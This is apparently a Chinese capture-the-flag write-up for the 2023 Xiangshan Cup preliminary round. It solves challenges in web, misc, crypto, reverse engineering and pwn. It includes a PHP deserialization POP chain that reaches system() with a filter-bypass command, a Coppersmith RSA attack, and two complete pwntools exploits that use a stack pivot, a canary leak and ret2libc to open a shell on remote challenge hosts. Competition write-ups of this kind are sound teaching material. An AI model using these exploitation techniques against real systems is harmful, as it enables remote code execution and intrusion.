2023年香山杯初赛wp

发布时间 2023-10-16 23:01:36作者: Icfh

前言

​ 以H2SHTEAM的身份打了这次比赛,感谢队友,最终进学生组前40了(下图是总榜的排名截图)

​ 希望能去次广东

image-20231015185515536

WEB

PHP_unserialize_pro

查看源码,很明显的php反序列化

payload生成如下,然后data传参就出flag

<?php
class Welcome
{
    public $name;
    public $arg = 'welcome';

    public function __construct()
    {
        $this->name = 'Wh0 4m I?';
    }

    public function __destruct()
    {
        if ($this->name == 'A_G00d_H4ck3r') {
            echo $this->arg;
        }
    }
}

class G00d
{
    public $shell;
    public $cmd;

    public function __invoke()
    {
        $shell = $this->shell;
        $cmd = $this->cmd;
        if (preg_match('/f|l|a|g|\*|\?/i', $cmd)) {
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

class H4ck3r
{
    public $func;

    public function __toString()
    {
        $function = $this->func;
        $function();
        return "test";
    }
}


$welcome = new Welcome();
$good = new G00d();
$hacker = new H4ck3r();
$welcome->arg = $hacker;
$welcome->name = "A_G00d_H4ck3r";
$hacker->func = $good;
$good->shell = "system";
// 查看根目录下的文件(按顺序排列):   dir -1 /
// 读 f1ag的命令如下
$good->cmd = "more /$(dir -1 / | sed -n 5p)";
echo serialize($welcome);

image-20231015190224700

MISC

签到

aW9kant6aDFmMHAzXzJfRndpfQ==base64解密获取iodj{zh1f0p3_2_Fwi}

凯撒密码解密,偏移量为3

image-20231015185735332

CRY

lift

查了很久,发现这题和一个论文相关,论文链接
同时参考 强网杯2022 factor的wp

接下来我们开始解析代码

import os
import gmpy2
from Crypto.Util.number import *
import random
from secrets import flag
def pad(s,l):
    return s + os.urandom(l - len(s))
def gen():
    g = getPrime(8)
    while True:
        p = g * random.getrandbits(138) + 1
        if isPrime(p):
            break
    while True:
        q = g * random.getrandbits(138) + 1
        if isPrime(q):
            break

    N = p ** 5 * q
    phi = p ** 4 * (p - 1) * (q - 1)
    d = random.getrandbits(256)
    e = inverse(d, phi)
    E = e * g
    hint = gmpy2.gcd(E, phi)
    return N, E, hint

flag = pad(flag,64)
m = bytes_to_long(flag)
n,e,hint = gen()
c = pow(m,e,n)

gen()部分,由于

	d = random.getrandbits(256)
    e = inverse(d, phi)
    E = e * g
    hint = gmpy2.gcd(E, phi)

因此g=hint

剩下的核心是论文部分,首先是一个定理

由于
$$
gcd(e,phi)=1
$$
恒成立

因此一定存在x,y使得
$$
ex-\phi(n)y=1
$$
又因为
$$
ed=1+k\phi(n)
$$
因此x即为d,y即为k

又因为

所以我们可以用coppersmith定理求解方程,代码如下

#sagemath
from Crypto.Util.number import *

hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162

g=hint
print(n.nbits())
print(float(256/n.nbits()))

R.<x>=Zmod(n)[]
f=e*x//g-1
f=f.monic()
for i in range(1000):
    res=f.small_roots(X=2^i,beta=0.5)
    print(res)

这里多项式e实际上是gen()中的E,因此要整除g

参数X直接爆破,beta=0.5,最终求出了res也就是d的值

有了d我们就可以直接利用gcd分解n
$$
p^4=gcd(ed-1,n)
$$
因此正常解密可以得到
$$
m^gmodn
$$

#sagemath
res=39217838246811431279243531729119914044224429322696785472959081158748864949269

pr=gcd(e*res//g-1,n)

print(pr.nbits())
p=pow(pr,1/4)
print(p)
q=n//p^5
print(q)

p=69367143733862710652791985332025152581988181
q=67842402383801764742069883032864699996366777
assert p^5*q==n
phi = p^4 * (p - 1) * (q - 1)

d = inverse_mod(e//251, phi)
c=pow(c,d,n)

接下来由于phi和g不互素,由于
$$
n=p^5*q
$$
因此直接在模p^5和q下开g次方,再利用中国剩余定理求解,利用flag头找到我们的flag即可

r1=Zmod(p^5)(c).nth_root(g,all=True)
r2=Zmod(q)(c).nth_root(g,all=True)

for i in r1:
    for j in r2:
        res=crt([int(i),int(j)],[p^5,q])
        res=long_to_bytes(int(res))
        if b'flag' in res:
            print(long_to_bytes(int(res)))

得到

因此flag为flag{4b68c7eece6be865f6da2a4323edd491}

RE

url从哪儿来

这题一开始还用resourcehacker拿文件来着,后来发现他可以自己生成,就直接动调做了。经典的样本分析准备工作~


断点下在这,知道他会在buffer指向的地址生成一个文件,让程序跑完,能看到这个文件

ida打开,因为它问url是什么,所以我们直接看szurl

结果这个不是flag,看到url问我们是如何解密的,所以我们回到上面那一堆数据里面,我们看一下v13

flag就在这

Pwn

Move

栈迁移到bss段的skdd,泄露puts,libcsearcher查到puts的libc是2.27,glibc-all-in-one下一个出来,然后返回main函数
在skdd里写system("/bin/sh"),本来是想再栈迁移一遍,结果发现直接do_system了,稍微修改了一下就getshell了

# exp头 ---------------------------------------------------------------
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
domain_name = '59.110.125.41'
port = 45341
file = './pwn'

io = remote(domain_name,port)
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
payloadload = b'\x78\x56\x34\x12'
bss_addr = 0x4050A0
lea_addr = 0x4012E0
junk = 0x30
pop_rdi = 0x401353
start_addr = 0x401264
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

bss_payloadload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendafter('again!\n',bss_payloadload)
io.sendafter('number',payloadload)


# 栈劫持 ---------------------------------------------------------------
payloadload = b'a'*junk + p64(bss_addr-8) + p64(lea_addr)
# gdb.attach(io)
io.send(payloadload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr   --->   ',hex(puts_addr))
# libc = LibcSearcher('puts',puts_addr)
# libc_base = puts_addr - libc.dump('puts')
# sys_addr  = libc_base + libc.dump('system')
libc_base = puts_addr - libc.sym['puts']
sys_addr  = libc_base + libc.sym['system']
bin_sh    = libc_base + next(libc.search(b'/bin/sh'))
print('libc_base   --->   ',hex(libc_base))
print('sys_addr    --->   ',hex(sys_addr))
# bin_sh    = libc_base + libc.dump('str_bin_sh')
# ---------------------------------------------------------------------
# sh_addr = 0x402027
ret_addr = 0x40101a
bss_payloadload = p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
# gdb.attach(io)
io.sendafter('again!\n',bss_payloadload)
# payloadload = b'\x78\x56\x34\x12'
# io.sendafter('number',payloadload)

# payloadload = b'a'*junk + p64(bss_addr-8) + p64(lea_addr)
# io.send(payloadload)

io.interactive()


'''
0x000000000040134c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401350 : pop r14 ; pop r15 ; ret
0x0000000000401352 : pop r15 ; ret
0x000000000040134b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401353 : pop rdi ; ret
0x0000000000401351 : pop rsi ; pop r15 ; ret
0x000000000040134d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''

Pwthon

Cpython pwn
核心逻辑在.so文件里,盲打试到有格式化字符串,测试出栈大小,泄露出必要的信息就能ret2libc了
gift泄露基地址和返回地址
格式化字符串泄露canary
通过puts泄露libc
ret2libc

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
domain_name = '39.106.48.123'
port = 29572
# file = './pwn'

io = remote(domain_name,port)
# io = process(file)
# gdb.attach(io, 'breakpoint main')

# elf = ELF('./pwn')
# libc = ELF('.bc-2.27.so')

io.sendlineafter(b'>',b'0')
io.recvuntil(b'gift')
gift = int(io.recvuntil('\n'),16)
base = gift- 0x68B0
print('base',base)

print('gift',gift)
io.sendline(b'%p-'*31+b'q%pq')
io.recvuntil(b'q')
canary = int(io.recvuntil(b'q',drop='Ture'),16)
print('canary',canary)
#io.recvuntil('\n')

pop_rdi = 0x0000000000003f8f + base
pop_rsi = 0x0000000000003cd9 + base
bss = 0x016FC0+0x100+base
read = 0x3940+base
write = 0x03760+base
op = 0x3AE0+base
flag = 0x000000000003c257+base
puts = 0x3710+base
ret = 0x000000000000301a+base

#payload = p64(0)*0x16+p64(canary)+p64(gift)
payload = p64(0)*33+p64(canary)*2+p64(pop_rdi)+p64(0x16078+base)+p64(puts)+p64(base+0x99f0)
#payload = b'a'
io.send(b'')
print("len ",len(payload))
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

payload2 = p64(0)*32+p64(canary)*3+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(b'a')
io.sendline(payload2)


io.interactive()